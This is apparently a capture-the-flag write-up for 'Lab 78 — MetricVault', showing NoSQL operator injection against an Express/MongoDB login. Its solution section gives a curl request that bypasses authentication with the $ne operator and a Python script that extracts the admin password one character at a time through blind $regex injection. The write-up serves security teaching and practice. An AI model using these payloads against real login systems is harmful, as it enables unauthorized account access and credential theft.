Lab 78 — MetricVault — NoSQL Injection in Login Authentication
Lab 78 — MetricVault — NoSQL Injection in Login Authentication
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: authentication_bypass, blind_regex_extraction, nosql_injection, operator_injection
Summary
Task: Express.js login form with MongoDB backend vulnerable to NoSQL injection. Solution: bypass authentication with $ne operator, then extract admin password (flag) character-by-character using $regex blind injection.
Lab 78 — MetricVault — NoSQL Injection in Login Authentication — Hackadvisor
Description
MetricVault is a business analytics dashboard built by VaultStream Inc. that helps teams track KPIs, visualize trends, and generate reports. The platform features user authentication, customizable dashboards, and data export capabilities.
Your target is a live instance of MetricVault. A guest account is available for exploring the application. Your objective is to gain access to the admin account and retrieve the secret stored in its credentials.
The platform uses a document-based data store with a query language that supports comparison operators. Pay close attention to how the authentication system processes login requests.
Credentials: guest / guest Hint: The login form processes credentials using a document-based query engine that supports comparison operators. Try examining how the server handles different input types beyond simple strings.
English summary: A business analytics dashboard with login functionality. The goal is to access the admin account and extract a secret stored in the admin's credentials. The hint points to MongoDB (document-based store with comparison operators) and suggests testing non-string input types.
Analysis
Reconnaissance
- Server identification: The
X-Powered-By: Expressheader reveals an Express.js (Node.js) backend - Database type: "Document-based data store with comparison operators" strongly indicates MongoDB
- Vulnerability hint: "Different input types beyond simple strings" suggests the JSON parser accepts objects, enabling MongoDB operator injection
Vulnerability
The login endpoint accepts JSON POST requests and directly passes user input to MongoDB queries without sanitization. This allows injection of MongoDB query operators like $ne, $gt, $regex instead of string values.
Vulnerable query pattern (conceptual):
javascript read-only • copy alloweddb.users.findOne({ username: req.body.username, password: req.body.password })
When password is {"$ne": ""}, the query becomes:
javascript read-only • copy alloweddb.users.findOne({ username: "admin", password: { $ne: "" } })
This matches any document where password is not empty, bypassing authentication.
Solution
Step 1: Authentication Bypass with $ne Operator
Bypass login by injecting the $ne (not equal) operator:
bash read-only • copy allowedcurl -X POST "https://ec8d973e-b25e-460d-af54-ab40a0bf5444.labs.hackadvisor.io/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":{"$ne":""}}' \ -c cookies.txt
A 302 redirect indicates successful authentication as admin.
Step 2: Blind Password Extraction with $regex
The flag is stored in the admin's password field. Extract it character-by-character using the $regex operator:
python read-only • copy allowed#!/usr/bin/env python3 import requests import string URL = "https://ec8d973e-b25e-460d-af54-ab40a0bf5444.labs.hackadvisor.io/login" charset = string.ascii_lowercase + string.digits + "_-}" password = "FLAG{" for i in range(50): for c in charset: # Escape regex special characters escaped_pw = password.replace("{", "\\{").replace("}", "\\}") test_c = "\\}" if c == '}' else c pattern = f"^{escaped_pw}{test_c}" payload = { "username": "admin", "password": {"$regex": pattern} } r = requests.post(URL, json=payload, allow_redirects=False, timeout=3) if r.status_code == 302: # Successful login = character match password += c print(f"Progress: {password}") if c == '}': print(f"FLAG: {password}") exit() break print(f"Final: {password}")
The script:
- Starts with known prefix
FLAG{ - Tests each character by anchoring regex at start (
^) - A 302 redirect confirms the character is correct
- Continues until
}is found
Decoy Flag
The HTML source contained a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} to trap automated scanners. The real flag was only obtainable through the blind extraction technique.